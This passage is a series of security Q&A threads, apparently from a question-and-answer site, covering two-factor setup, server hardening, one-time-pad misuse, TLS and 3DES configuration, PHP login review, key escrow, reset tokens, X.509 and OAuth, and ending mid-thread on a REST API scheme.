How can I setup 2fa on iphone with 1 phone? When setting up my refurbished iphone se, it wants a phone # for 2fA... I have one phone. It's not sitting on a desktop, I carry it with me places.

The other option is to not use 2FA, which it cautions against. Am I expected to carry 2 phones with me? Or, how is this expected to work?

I believe the 2FA is for accessing Apple iCloud services. One factor is your iCloud password. The other factor is the phone in your hand. So give them the phone number of your iPhone se.

To log into the iPhone se you will use your phone pin or fingerprint. Not 2FA.

But any time you activate a new Apple device, you will authenticate with your iCloud password and iPhone se.


System Hardening: Outsource to Security Expert or have Sys Admin do it? Can any of you security experts help me make a decision on how to deal with staffing for an initial hardening for an Apache server running MySQL and PHP?

We are working on a new site have to do initial hardening and I don't know if we should have the sysadmin do it or if we should get a security expert to do it. I know our sysadmin can do it, but is he "a security expert", definitely not. I did find this old post on how to harden an Apache server and I think he could follow the instructions. I also read the post on outsourcing security and want to clarify that most of it was not relevant because we would hire someone local for this.

So my questions:

Are there pros/cons to having a security expert do initial hardening for a MySQL server? If the security expert does the initial hardening, will I end up having to deal with the security expert again for routine changes?

We can pay more for better work, I just don't know if it is a good idea in long run and can use your expert advice.

What generally is done is to hire a security expert who creates a custom webserver hardening standard and baseline, adjusted to your company's needs. The standard defines which security controls should be in place, technology independant. Then the baseline can be technology specific, e.g. IIS or Apache,...

The baseline can be implemented by your system administrators, however, you should perform routine audits (can be done by the expert or other independant auditor) on the machines (once every year or half year) to confirm that the baseline is implemented correctly. Any defects to the baseline should be documented during the audit and presented back to the administrators and a a response on why the particular webserver didn't adhere to the baseline.


How is secure for OTP implementation to use pages smaller than the payload? I am wondering how is should i implement one-time pad encryption in my code.

I use 16-byte pages at the moment, and the implementation in Golang from the page: https://github.com/ryanuber/go-otp/blob/master/otp.go (line 83 is the Encrypt() method).

However, the data i need to encrypt sometimes (not always) is larger than 16 byte.

// Page must be at least as long as plain text
if len(page) < len(payload) {
    return nil, fmt.Errorf("otp: insufficient page size")
}

result := make([]byte, len(payload))

for i := 0; i < len(payload); i++ {
    plainText := int(payload[i])
    secretKey := int(page[i]) // ln 95
    cipherText := (plainText + secretKey) % 255
    result[i] = byte(cipherText)
}

What i did is commented out the page length check, so encryption now ignores the length problem; using modulus while indexing page (line 95):

secretKey := int(page[i % len(page)])

So, if i encrypt data buffer say of 10 megabytes, is it still secure, and if not, why?

This is a really, really, really bad idea.  First off, this is not a one-time pad, as you're using the same pad to encrypt multiple blocks of data.  This is exactly the same as sending multiple messages separately encrypted with the same pad.

There are multiple trivial attacks against this scheme:

If you have any known plaintext, the attacker can xor bytes of the known plaintext against the ciphertext and recover bytes of your pad.  Then they can move to each position where that pad byte is reused (i.e., +/- len(page)), xor the pad byte, and recover more plaintext.
Frequency analysis at each position is potentially trivial.
Since the value of each pad byte only affects the matching output bytes, brute force attacks are possible against each byte separately (though it will be harder to know which value is correct, it will still be possible).


Attacks in SSL and SSH Assume that we have two end-host A and B connected by two routers R1 and R2. A wants to send a large file to B.

A decides to establish SSH connection with host B using public key authentication. Can router R1 or R2 inject content in TCP flow without losing any original packet sent from A to B?
Host A decides to use SSL. Assume A, B R1 and R2 are assigned public/private key with corresponding certificates signed by a certification authority(CA). All nodes know public key of CA. Can router R1 or R2 inject content in TCP flow without losing any original packet sent from A to B?

Because the SSH connection exchanges a key in such a way that only the holders of the two private keys can have access to the shared key, there is no way for the routers to inject meaningful information.  They could attempt to inject information, but because the information they inject is not encrypted with the mutually agreed upon shared encryption key, it would only come out as garbage on the other end and if the stream was in a chaining mode, it would also potentially corrupt the entire session.

SSL uses a similar mechanism where the end user will be able to tell which server the information was sent from and only the server which the end user intended to talk to can get access to the encryption key that the client selects.

The one thing that can not necessarily be determined is if the client B is actually the client unless they also have a public/private key pair that is either CA signed or previously known.  Both SSL and SSH have mechanisms to support mutual authentication, but frequently only the server is authenticated against a CA.

Regardless, while R1 or R2 (or anyone) could claim to be B, they would not know what B's request was under either system, thus they could not try to convince B that they were in fact A so long as B attempts a handshake with A's public key.


Bruteforcing an iOS PIN The iOS Security document describes several security mechanisms implemented in iOS 9. I am specifically interested in the actual security of a 4 digits PIN on iOS. I am looking for tangible information specific to iOS.

The document above states on page 10:

  (...) so brute-force attempts must be performed on the device under
  attack. A large iteration count is used to make each attempt slower.
  The iteration count is calibrated so that one attempt takes
  approximately 80 milliseconds. This means it would take more than 5½
  years to try all combinations of a six-character alphanumeric passcode
  with lowercase letters and numbers.

  (...)

  To further discourage brute-force passcode attacks, there are
  escalating time delays after the entry of an invalid passcode at the
  Lock screen.

With this in mind and putting aside possible vulnerabilities, how secure is a 4 digits PIN on iOS 9? Specifically with the assumption that:

the attack is possible only via the crypto-chip (described in the doc)
... which enforces the restrictions and time delays

is a PIN a mechanism secure enough to sustain two years of attacks (with the knowledge we have today)? (*)

The social engineering part and human nature suggests that some combinations must be avoided (0000, 1234, 1111, 2222, ... , 9999, 4321, some visual ones as a cross or a box made out of the digits, etc.). We are now past the 10 tries and the device is at that point throttled or wiped.

(*) two years is an example, data recovered after this time may not be that sensitive anymore. I am aware of the fact that one can find tomorrow a vulnerability or a flaw in the architecture which breaks everything in iOS - this is why I am interested in the technical capacities of today.

As the OP mentioned, a 4-digit PIN can be broken in a few days with special hardware.

Without the special hardware, unless you're consistent at wiping smudges from your screen, the PIN numbers can be reconstituted fairly easily. The suggestion is to reuse one or two numbers to actually increase the difficulty in guessing the PIN. See https://www.schneier.com/blog/archives/2012/01/improving_the_s.html

Obviously avoid these PINs: http://danielamitay.com/blog/2011/6/13/most-common-iphone-passcodes

If you do not enable Erase Data (which wipes the device after 10 failed tries), then a 4-digit PIN would take at worst 417 days to guess (assuming 1 second to enter the passcode per attempt and going by the locking policy outlined on page 12 of https://www.apple.com/business/docs/iOS_Security_Guide.pdf), compared with 41,678 days for a 6-digit PIN. That 4-digit figure falls short of the OP's "reasonable" length of 2 years of security, especially since on average a passcode is recovered in half of all possible guesses, so that would be more like 208 versus 20,839 days.


Can I secure the bootloader without a TPM? I have a lot of PCs without a TPM installed. Buying TPMs for all of them is not an option, but I still want to do encryption on them.
From what I've studied so far, the entire system/boot partition can be encrypted. The bootloader (or the ESP partition), however, must remain unencrypted. It is the first program ran after the firmware -- if it is encrypted, the firmware simply cannot load it because the firmware does not understand encryption at all.
Without a TPM, is there anything I can do to ensure that my bootloader has not been tampered with? I use LUKS on Linux machines and Bitlocker on Windows machines, if that matters.

Well, you could keep your bootloader on an external device and set your computer to boot from that device, but that would not protect from other forms of tampering such as a backdoor BIOS. Such a backdoor could allow you to load your genuine bootloader, but surreptitiously inject malicious code into it while it is being run. Generally, anyone who can modify the bootloader can modify the BIOS.
You need something that cannot be modified by a privileged user. Given that even the BIOS can be modified (save the read-only CRTM, which is used by the TPM if you have one), there's no way to ensure your bootloader has not been tampered with. You need either a TPM, or a trusted system that provides equivalent functionality. Luckily, most modern Intel chipsets come with a built-in one, called the fTPM. It provides the same functionality as a discrete hardware TPM and adheres to the same specifications. Check if any of your computers have that feature (smx flag in /proc/cpuinfo).


TLS_RSA_WITH_3DES_EDE_CBC_SHA reported as 112 bits I am no expert in this area but after some searching I am not too sure about the solution.

An external vendor doing a pentration test on our server reported that we have TLS_RSA_WITH_3DES_EDE_CBC_SHA with 112 bits enabled and reported that as a threat. I have read that such ciphers can be disabled from the Microsoft site (We are on Windows Server 2008) which is great but after reading a bit more about what this means on a forum I see that it is a downgrade from 168 due to a vulnability.

Extract:

  I'm not a crypto-nerd but if I read this explanation correctly that particular cipher has an effective security of 112 bits but if the encryption is achieved by using 3 56 bit keys (3 X 56 = 168)

Answer:

  "One might expect that 3TDEA would provide 56×3 = 168 bits of strength. However, there is an attack on 3TDEA that reduces the strength to the work that would be involved in exhausting a 112 bit key"

I can confirm that SSLLabs do infact rate this cipher to be 112 not 168 which I presume is due to the vulnability.

in this forum entry it is mentioned to be related to OpenSSL

  As an update, as of the June 20 snapshot of the OpenSSL codebase, the reported strength of the 3DES Cipher Suites is now 112 bits instead of 168.

Ok. If this is correct then can this downgrade only apply to certificates issued with OpenSSL? I an not sure what the exact vulnerability is causing the downgrade to 112.

Either way, what is the actual approach to disable this. should I set the Registry key (Enabled = 0x0) under the following subkeys?:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers\
Triple DES 112/112

or:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers\
Triple DES 168/168

or both, or something else?

I cannot apply the change myself as i do not have permissions on these servers, but I need to instruct the person who will make the change.

You should disable all triple DES ciphers because 192 bit triple DES keys only have about 112 bits of security and 128 bit triple DES keys have even less than 112 bit security, rather around 80 bits for the best attacks. Furthermore, triple DES only has an 64 bit block size, which is detrimental to security as well.

There is a difference between the key size in memory - including overhead like parity bits (192 bits), the bits used of the key (168 bits), the intended security of the key (112 bits) and the actual security given the attacks possible on the cipher (still 112 bits). The figures between parentheses are for triple DES keys (DES ABC). For double DES keys you will come to 128 bits / 112 bits / 112 bits and 80 bits.

AES 128 has an actual security of over 126 bits (128 bits encoded, 128 bits actual and 126 bits of security) it should be strongly preferred. It's also much faster than 3DES and is widely supported, so disabling 3DES altogether should be the preferred option - unless you are certain that clients will fail.

In general you should try and achieve a security of around 128 bits or over.

Notes:

the strength of the symmetric cipher used in TLS has nothing to do with the certificate used;
the 112 bits of security is because of a meet-in-the-middle attack which was already known when 3DES was designed, so 112 bit is the intended strength of three key 3DES.


DMARC/SPF/DKIM - forward quarantine emails to a separate email address Is there a way with DMARC/SPF/DKIM to forward all emails that fail DMARC to an email address I specify?

Ie, if someone tries to spoof an email saying it's from me, and it fails, I'd like that email to be sent to an email address I specify rather than who they intended it for.

Is that something that can be done?

I've been running RUF/RUA for a month now, with different settings to get reports on what 3rd party services to update. However, I'm still getting some spoofing attempts from the Middle East/Asia.    I'm looking to get all emails that fail DMARC to be sent to a specific email address I specify, rather than be sent to the end user(spam) or blocked.

We use Google Apps for our Email Sever.
All Domain information (TXT records) are stored on Route 53 on AWS.

From our RUF report I'll see an entry like this:

  <record>
    <row>
      <source_ip>45.123.219.46</source_ip>
      <count>14</count>
      <policy_evaluated>
        <disposition>quarantine</disposition>
        <dkim>fail</dkim>
        <spf>fail</spf>
      </policy_evaluated>
    </row>
    <identifiers>
      <header_from>****.com</header_from>
    </identifiers>
    <auth_results>
      <spf>
        <domain>***.com</domain>
        <result>fail</result>
      </spf>
    </auth_results>
  </record>

In this case, it would be interesting to know what was being sent out.

A quick search turns up DMARC Failure Reports.

  The strategy we recommend is to first publish a simple record in
  monitor mode (i.e. “p=none”) just to get aggregate reports.

_dmarc.example.com IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:dmarc-rua@example.com"

  Study the aggregate reports, understand your mail infrastructure,
  understand what would happen if you change the policy to reject,
  especially how many failure reports you are likely to receive. Once
  you are confident, add the “ruf=” tag pointing to a different mailbox
  than the rua= tag points to. If you get too many failure reports, this
  will not fill up the aggregate report mailbox, so you can keep your
  statistics running.

_dmarc.example.com IN TXT "v=DMARC1; p=reject; pct=100; rua=mailto:dmarc-rua@example.com; ruf=mailto:dmarc-ruf@example.com"

Note the warning at the top of the section though regarding whether you actually want to do this:

  Not until you have read this answer and made sure you are ready to receive a LOT of messages...

Edit: I misread the wiki slightly, it looks like RUF reports can include the entire email, but they won't necessarily.

It's obviously up to the server validating DKIM and SPF to decide what to do in the case of failure, DMARC is essentially asking servers "could you please treat validation failures a certain way", and RUF is asking "if an email fails validation, could you please tell me why?", but it's quite possible some servers just aren't bothering to give you a report, or that the report doesn't include everything you want it to. If they want to ignore your request there's not much you can do.


Security of login form I would like to know how secure is this code I made for a login form... because I'm new in this and have serious doubts.

$sql = "SELECT user_name, user_password "
      ."FROM users "
      ."WHERE user_name = '".mysqli_real_escape_string($db,$_POST['user_name'])."'";

$q = mysqli_query($db, $sql);

if (mysqli_num_rows($q) > 0) {
  $users         = mysqli_fetch_object($q);
  $user_name     = $users->user_name;
  $user_password = $users->user_password;
} else {
  $errors        = 'Please enter a valid username and password.';
}

if ($user_password != crypt($_POST['password'], $user_password)) {
  $errors        = 'Please enter a valid username and password.';
}

I can't see any way to exploit this directly at a glance but I can see a few places where the code "smells" a bit.

The conditional

if (mysqli_num_rows($q) > 0)

should be

if ($q && mysqli_num_rows($q) === 1)

Although you don't use a LIKE clause in your query, if you (or someone) did change the code, a % or _ symbol could cause multiple names to match and therefore would pass that step.

This is just defensive coding.  Although you can't see any way for more than one row to be returned, it's safer to restrict the code so that it will fail if somehow more than one row is returned.

Also, if you have a temporary error in the database server or at any time there is a syntax error in your SQL, $q will be NULL.  We should test for that first.

Note that mysqli_num_rows() can return a string if the number of rows is greater than the highest allowable int in PHP but that's not likely to happen with this query.

Credential enumeration in login forms is often not as important as people think.  If you have a signup form, there's no way to prevent credential enumeration.  Nonetheless, there are some improvements that can be made if I assume that you create accounts manually and there is no signup form.

You are using the same error message whether the attacker gets the username wrong or the password wrong and this is generally considered good practice.  However you have two copies of that error message and that makes it easy for a future coder to change one of them without changing the other.  Instead, put the error message in a variable or a constant and reference the error message where the two strings are now.

There's a timing attack with credential enumeration.  If a user does not exist, $user_password will be undefined on the final if() clause where the posted password and the stored password are compared.  This will cause a PHP error and errors in PHP are very slow.  An attacker could utilise this delay to enable credential enumeration.

You are using mysqli but you are not using bound parameters.  There are fewer mistakes that can be made with bound parameters.  For example, mysql_real_escape_string() depends on the character set being used and if you change it after escaping the strings or if you set it in the wrong way ( i.e not using mysqli_set_charset() ) then you may enable SQL injection.

It's not clear from this code which hashing algorithm you are using but bcrypt (also known as CRYPT_BLOWFISH and $2a$) is the best choice in PHP.

If you're on PHP > 5.5, there's a password_hash() function which improves on crypt() but is compatible with it.

It's also not clear how you are handling salt.  The bcrypt option generates salt automatically and stores it as part of the string it returns with the hash so you don't need to worry about it if you are using bcrypt.

Some of the hashing algorithms have a cost parameter.  This cost should increase over time as attacker's capabilities get better and as your ability to compute the hashes gets better.  (Actually, probably just the latter.)

Some other questions about your code:

What happens on failure?  It seems that the only difference between valid username/password and invalid is that the variable $errors is set to a string and is undefined when the password is valid.  Furthermore, the second time overwrites the first string.  If a later bit of code encounters a different error and overwrites that variable again, there will be no record in the state of the program that the user you are trying to authenticate failed the username or password tests.
What about throttling?  You don't want to let attackers have as many attempts as they feel like.  As you can see from any one of dozens of password dumps, the top few passwords tend to be used by large numbers of users.  (One analysis of the RockYou dump showed that the top 5,000 passwords were used by 20% of the users and that the top password was used by 0.9%.)  Throttling can be made more difficult by bot-nets but you should not allow a single IP address to try passwords on lots of different accounts.  A nice way of handling the slow-down is to increase the delay between allowed authentication attempts by 1 second after every failed attempt.  This allows users who have forgotten which one of several passwords they know not to be inconvenienced but causes a brute-force bot an intolerable delay after only a few attempts.

There are likely to be other problem.  There are plenty of pitfalls in authentication.  Why not use a library like PHPass which neatly avoids many of these pitfalls for you?  We've covered it here.


encryption protection against lost password Here is a plan I am thinking about.  I haven't seen this proposed, so I thought I would ask about it.

Threat we are guarding against:
A lost or stolen laptop leading to exposure of sensitive information.

Project Description:

Developing a desktop client app to allow traveling users to collect data when not connected to network.  It is sensitive data and needs to be encrypted at rest.  Obviously, key to encryption cannot be stored in client anywhere, so I will use a password based key generation to encrypt the data.  Password hash stored in client.  This is on laptops that we do not control, so we can't enforce whole-disk encryption.

This is fine until the user forgets their password or another user takes over the job or the user changes their password.  Administrator needs a way to rescue encrypted data.  So, proposal is to save a copy of the data encrypted using a public key generated by the administrator, who holds the associated private key.  This copy is saved either per transaction or when the user ends the session.

Questions:

Is there a flaw in this approach?
Has this been solved another way?

Similar to:
Encrypting user data using password and forgot my password

Except that that is about a web application and a public-private key pair is not suggested.

Update:  This is a Java client (using Java Web Start) on Windows.

I think you don't need to keep an entire second copy of the data. That seems difficult. Also, you want to try to avoid bulk public-key encryption. It's slow. Instead of keeping a second copy of the data, you can  keep a second copy of the key.

Create a random symmetric key F that you use to encrypt the files. Encrypt this key with a key derived from the user's password and store the encrypted F on the disk. Store a copy of F in a secure store somewhere that admins can access it. You should encrypt F using some admin-specific key to keep F secure while in transit and at rest.


How many bytes for password reset token? Should one take steps to hash or conceal raw CSPRNG bytes? I'm trying to follow the OWASP 'Forgot Password Cheat Sheet' recommendations for password reset functionality via email. This requires my server to generate a token. OWASP says that PHP's random_bytes() and openssl_random_pseudo_bytes() functions are adequate for such a token. My questions:

Is it safe to simply append a hex or base64 representation of these bytes to a url and email it to a user? Or does exposing the raw, unmodified bytes expose my system's CSPRNG behavior to unwanted scrutiny by bad guys?
If it is unsafe, would a SHA1 hash of the raw random bytes suffice to conceal my server's CSPRNG behavior while still serving its purpose as a password reset token?
How many random bytes should such a token have if I want it to be valid for an hour? For 24 hours?

You asked:

Is it safe to simply append a hex or base64 representation of these bytes to a url and email it to a user? Or does exposing the raw, unmodified bytes expose my system's CSPRNG behavior to unwanted scrutiny by bad guys?

This question has been asked and answered many times and I won't attempt to give a full answer, but basically, yes, any API that advertises itself as a CSRPNG is safe to send directly to users and will not leak the internal state of your system RNG.
Related question:

Is a rand from /dev/urandom secure for a login key?

You asked:

How many random bytes should such a token have if I want it to be valid for an hour? For 24 hours?

First off, go watch this 5 minute youtube video:

How secure is 256 bit security? - YouTube

Based on that you should be good forever with 128 bits of randomness. You can get away with less but for exactly how much less you'll have to do your own math:

Do you have a rate-limit on your API? If so, how many guesses will it allow in 24 hours?
If an attacker guesses at the max rate, would you be comfortable if they had a 1/2 (ie 2-1) chance of guessing right? 1/1,000,000 (~ 2-20)? For "cryptographic strength" you'd want like 2-80 - 2-128.

Multiplying those together will give you the number of bits of randomness you need in the token.


Is possible to exploit C#, Java, Python or any language that is running inside VM (i.e. managed runtime) Is it possible to exploit a vulnerable application that is running inside a process virtual machine?

Let's say that we have buffer overflow vulnerability in a Java application but the JVM isn't vulnerable. Is there a way to exploit it?

It is not possible to have a buffer overflow vulnerability in a managed memory environment such as Java, .Net, or Python provide.   Since the runtime, not the developers manage memory allocations and deallocations, this class of vulnerability is non-existent.

That said, there are vulnerabilities in these environments, but the JVM (or equivalent) is relatively immaterial.   For instance, Java has trouble preventing applets from escaping the sandbox and ASP.NET suffered from a padding oracle.

So, any language offers the potential for exploits aplenty.  Managed-memory languages simply eliminate the vulnerabilities specific to manual memory management such as buffer overflows.  Even this, however, is only true within the runtime environment.  Java allows you to run unsafe code outside of the JVM via JNI, and .Net offers the same via P/Invoke or COM-Interop.   Again, in these instances, the runtime isn't significant, as it's being entirely bypassed.


Any issues with this security design for cloud storage? Server doesn't even need to know password to log someone in I've created an algorithm I think I'm going to use for a cloud storage service I'm developing- if there are no issues or vulnerabilities with it. It's this along with TLS and forward secrecy implemented. Also when logging in on a new device you must confirm it through your email account.

To create account:

Generate two random keys, Key A and Key B. Key A is used to prove the identity of who is signing on. Key B is used to encrypt your files with AES-256.
Encrypt the two keys with AES-256 using a hash of the user's password. I'm going to post a separate question soon about intentionally creating a delay in the hashing function, to prevent brute force attacks.
Send the encrypted keys to the server, along with an SHA-256 hash of Key A.

To login:

Download the encrypted keys from the server.
Decrypt the keys with the hashed password.
Upload Key A to the server.
The server hashes Key A and compares it against the stored hash. If the two are identical, notify the client that the password is correct (not that it was sent over).
Delete the copy of Key A in memory from the server.

To make changes to files:

Log in using the steps shown above. The server will reject any actions unless logged in, obviously.
Encrypt all files with AES-256 using Key B (stored in memory on the client, never stored in plaintext on the server) before sending online. Decrypt all files offline accordingly.

To change the password:

Log in using the steps above.
Encrypt Key A and Key B (stored in memory after logging in) with the hash of the new password.
Instruct the server to delete the encrypted keys and upload the new ones.

To reset password and keys (in case of breach):

Log in. If you can not do so with the password and the steps above because your password was changed, use a recovery drive (optionally created when setting up a new account) with the keys stored on it.
Download all files from the server.
Decrypt the files with Key B.
Generate two new random keys, then encrypt the new keys with the new password and upload them, along with a hash of the new Key A.
The server caches the encrypted keys and hash, and sends a confirmation email to reset the account password and keys.
Once the confirmation email is accepted, the client begins encrypting the files with the new Key B and uploading them to the server. Once all files are completely transferred, the server removes the old files.
All keys are invalidated, signing out of the account on all other devices.

Please let me know if there are any problems with this algorithm or improvements I could make.

The tricky point in all such password-based protocols is prevention of offline dictionary attacks. A dictionary attack is when the attacker tries potential passwords; it is offline if the attacker can do that at home without interacting with the genuine server or the target user. Offline dictionary attacks tend to work well, because users are human users, and thus, on average, their passwords suck big time. Slow and salted hashing (see this answer) can help to some extent, but will not ultimately fix the issue. Passwords are weak.

It is unavoidable that there is enough on the server to run an offline dictionary attack. Indeed, if the attacker gets a complete copy of the server contents, then he can emulate the server on his own machines. The running server must somehow device whether an incoming client, armed with only his password, is to be allowed destructive operations on files or not; therefore, the server must be able to distinguish between a correct and an incorrect password. An attacker emulating the server and the client can then "try passwords" and that's by definition an offline dictionary attack.

The problem, then, is to make sure that only the server has this power; that values allowing offline dictionary attacks are not needlessly distributed to the public at large. So, in your proposal, there are vulnerable areas. In particular:

The "key A and B encrypted with the password" may allow to run an offline dictionary attack. Since this blob is obtained from the server before actual login, then anybody can have it, including the attacker. The encryption format has to be quite special in order to prevent it being abused that way (a hand-waving description of it is that decryption with the wrong password must still appear to work). Usual encryption formats will be weak.
Similarly, there are stored files, encrypted with key B. An attacker with the "keys encrypted with the password" blob and an encrypted file can use that to test for potential passwords (try passwords until the file decryption yields something which "makes sense"). This implies that the encrypted files must not be shown to anybody except the rightfully authenticated user (you need user authentication for read access, but also for write access).

It would be more generic and less confusing to separate your two keys A and B: they really are distinct kinds of objects, and are used in different ways. What you really want is the following:

A password-based authentication method, in which the server does not learn the user's password but can verify it nonetheless.
A storage for files with password-based encryption. This storage will use a two-step encryption system: a symmetric key K is encrypted with the password, and all other files are encrypted with K (this speeds up password changes).

Note that the part about not learning the user's password really is: not learning that which is used to actually encrypt the files. The generic method would be the following: for a given user password P, compute f(P) with a proper password-hashing function f (say, bcrypt or PBKDF2). Extend the result with a Key Derivation Function into two keys U and V (PBKDF2 includes its own KDF; otherwise, a cheap KDF can be a simple invocation of a hash function like SHA-256 if the output size is large enough to be split into U and V). Server stores h(U) for some hash function h, and V is used to encrypt the symmetric key K.

With this system, the server learns U but this gives him no hint on V, by application of the virtues of the KDF (a KDF is, mostly, a hash function with a configurable output size). Moreover, U is still after the f() function, hence U allows for only a slow offline dictionary attack, something which the server could already have done.

This system requires that any user can obtain his salt prior to authentication. This is not a problem, since this salt is just a random value. Notice how this alternate protocol removes the need for a "special encryption system" which does not allow an offline dictionary attack.

For extra brownie points, use U as the password for TLS-SRP. This will ensure mutual authentication between client and server, based on the password, without needing any certificate at all.


Very fast and efficient way to check that contents of the directory weren't modified I need a way of determining whether contents of a folder containing some executable stuff have not been modified in any way a moment before I decide to execute the whatever is in it. Check every time before executing.

The problem is I am very limited in terms of time (the check has to be make nearly instantly, something like 100ms would be too much for this particular case) and a bit in computational power (running the whole thing on just a computer that's got a bunch of other stuff happening on it - internet browsing, music playing, whatever).

Talking about a Linux machine. The size of the folders would be up to 6MB worst case.

My primary idea was to have some kind of checksums-map-storing-file kept somewhere encrypted, and comparing a newly calculated value with the stored one. I do not have a big concern about storing the checksum-file. I do have a concern about using an efficient algorithm that lets me be as sure as possible that the files weren't modified.

Suggestions? Would it be safe enough to, say, only look into the files' metadata? or would checking the contents matter each time as well?

The algorithm I will be using is safe with me - I can kind of be sure that the "intruder" cannot "know" it, so its not my worry.

I feel like steganography could come in handy here, but I just can't figure out a possible useful way for it here.

You could simply use md5sum.

First keep a copy of the current checksum:

md5sum /path/to/files/* > /path/to/safedirectory/checksum

Then you can run the following to check for differences:

md5sum /path/to/files/*|diff /path/to/safedirectory/checksum -

An alternative proposed by @Jedi is to use the -c option:

md5sum -c /path/to/safedirectory/checksum


Small encrypted network setup Several partners and I have just started a small business and we would like to employ a good secure setup from day one. This is a problem however as there are many piecemeal packages, and I am stuck jamming them together and hoping there are no holes.

Are there any papers, tutorials, books, etc. that give use cases of fully secured systems? Specifically:

Web server will be totally dedicated, no connection to the internal network for safety.
Main server is used for internal collaboration, file storage, contact management, email server, things like that
Each person has a laptop and would need a way of securely communicating with everyone else as well as a way to store files securely.

Currently we use Linux for everything. Ubuntu with users' homes encrypted and a truecrypt file for secure storage. I would like to up this to a Debian install that requires a passphrase at the boot loader as the entire partition is encrypted. We use RetroShare for communications as it has security built in, but it is just a temporary measure, and we would like to learn how to set up a secure centralized information server.

More Info:

Webserver will be hosted off site through a third party. Has no useful information besides a few email addresses.
Laptops are crossing US/Canada border, they will need to be secure from entry without a warrant. The way I am thinking to secure them is:

Apricorn Aegis USB Keys (They have a keypad to unlock the drive)
Thay will have the laptops boot partition, the keyfile, users PGP, SSH, and any other keys.

The server will be Debian based, I have not settled on ANY packages as I have no idea which ones will work with what security packages. The servers location is physically secure so I am only worried about network intrusion. Last intrusion detection system I used was BlackFin or something on Windows in the Blaster32 days.

SNORT for intrusion detection
GnuPG, SSH
Remote file system access:

1 - Users can either VPN into the system through SSH

2 - Users can mount via SSHFS just what they need

3 - Presumably the VPN is a better idea.

First of all check this out. It has great guidelines on hardening Ubuntu machines.
My recommendations

If possible have your webserver hosted in a different location than the office with no access or communication to the office. If that's not an option make sure it's completely separated from your internal network.
For the internal network of course setup a firewall, have AV running on all machines and setup an IDS/IPS. Snort is a popular ids/ips for Linux.
Use full disk encryption on the laptops. TrueCrypt can't do full disk encryption on Linux devices, I haven't used it in a couple of yeas so maybe that's changed if truecrypt is your only option at least make sure the users know how to use it properly and don't accidently save a database of SSNs unencrypted.
Don't directly allow access to any machine in your internal network. If you want people to work remotely the best option is to make them VPN into the network. If you want to get really secure about it you can setup the VPN with a keyfob or a certificate on an sd card that the user has to physically have.
There's so much more you can do but it all depends on the amount of time and money you're willing to put into it.

There is no such thing as a "Fully secured system" if you want to harden a server to the point where it will be near impossible to hack you would have to fill it with cement and drop it in the deepest trench in the pacific ocean and even then I would say it's only about 96.2% secure but it's 100% unusable.

You have to accept the fact that you are vulnerable and you will be attacked. Determine the value of all assets in the organization. Have a baseline security policy for all devices on your network and focus your resources on the mission critical systems.

My 2 cents. Hope this helps


Why do private networks use both X.509 and User/Password authentication For example, the school network I am on requires both a name & password to log in along with having its X.509 certificate installed in my browser. Why does it need both? Shouldn't name and password be good enough? What does X.509 do  which name/pass does not?

X.509 certificates have several properties passwords don't; many of these derive from them generally falling into the "something you have" authentication factor, instead of the "something you know" that applies to passwords.

They're immune to phishing attempts; unlike a password, where the server must receive the actual plaintext password to authenticate you, an X.509 certificate authenticates you by signing some data. A phishing site gets a password that it can turn around and use on the real site; the X.509 authentication only gives it a single signature from the certificate, and doesn't give it the private key it'd need to impersonate you.
Likewise, they pose no risk of shoulder-surfing, or a user telling his password to coworkers, or the like. A user could export the private key, but that's much less likely than a user telling someone a password.
They're not reliant on a user choosing and remembering them. This means they can be very high-entropy, and there's no risk of a common or poor choice of X.509 certificate, which there is with passwords.
Often, you get separate certificates for each browser or device you have. That means the school could revoke one of them if the device is stolen without having to revoke all of them.
They pose no risk if reused on other sites. If you use your school password on another site, that site could harvest the password or could store it incompetently and have it stolen in a breach. With X.509 certificates, the site normally doesn't even know your private key, so if you're using the same certificate for multiple sites, you don't have to rely on all of them to protect your credentials (if you use the same password on multiple sites, and any of them protects it badly, it's compromised for all of them).
When not combined with a password, the fact that you can use it on a site without the site needing to know enough to pose as you means that it serves as an SSO-like system, without needing to redirect you to some centralized login page. With password SSO, you need to log in to the SSO provider if you aren't already, which means you're sent to some other page (as logging in requires giving the login server your password). With certificates, you don't need to give any secret information to anyone to authenticate, so you can just authenticate directly to the site you're going to.
When used for SSO, you don't rely on any central authentication server to be active. With password SSO, you need highly secure central servers to handle login requests if a user isn't logged in already (as they need to know the user's password or password hash); with certain password SSO methods, you need highly secure central servers to handle all authentication requests. With X.509, anyone with the certificate for the school's CA can verify your X.509 certificate. It's best if they can check if it's been revoked, but dealing with certificate revocation can be done through CRLs, which can be cached on other servers that don't need to be highly secure (and so it's easier to make sure at least one is running).

Those all apply to X.509 when used in isolation. Also (and this is the reason you have to enter both):

When combined with a password, they provide two-factor authentication (a password is something you know, a certificate is something you have).


How do you actully secure OAuth tokens? Lets say you have the following curl :

curl -k \
-d "grant_type=password&username=Username&password=Password"
-H "Authorization: Basic <Base64Encoded(client-id:client-secret)>"
 https://wso2apim-gateway:8243/token

Now the user store and the system  i.e wso2apim-gateway:8243/token  will generate the result below

{
    "access_token": "69d21f9a-367e-3739-a18f-c29379866ef8",
    "refresh_token": "e6650f55-5b7a-33e6-99f6-b3b92008383e",
    "scope": "default",
    "token_type": "Bearer",
    "expires_in": 3600
}

Now I suppose subsequent request to the resource owner will embbed the access_token right ? Awesome.

But wait !!!
Wireshark, Burp, Zap... OMG!!!! The access_token could easily be MITM.

So I tought to myself : "I guess the request to the resource owner will be over TLS then".

That's it ? All this OAuth gymnastic and to land to TLS. I must be missing something.

Can you help me here ? Eventually the ascess token will be sent over the network. How do you protect it ? Why not just give plain old fashion direct access to an old school user store rather than going through all this to land on TLS ?

The tokens one gets from OAuth are basically service specific passwords. These are issued in order to allow third party services limited actions in the name of the user without the need to share the users real password with these services. Given that these tokens don't allow anything more than the the users password (usually they allow less) they also don't need to be treated any better than the users password in transport, i.e. TLS is considered sufficient.


Custom rest api / client security scheme Right off the bat, I'd like to know if there is a widely used library or standard that I could adopt to replace my "custom" scheme.  I am certain that I, as one person, cannot produce something better than a community produced library.

That said, I am a security novice, and while reviewing other implementations did not find one that seemed to suit my exact needs.  It was probably right under my nose and I didn't understand it.

I am developing a restful api and a javascript client.  I intend to honestly implement rest and go stateless, meaning no server side sessions.  All the information to answer any request must be passed by client to the server as part of the request.

The security solution needs to provide protection against a third party remote attacker that is moderately to seriously resolute.

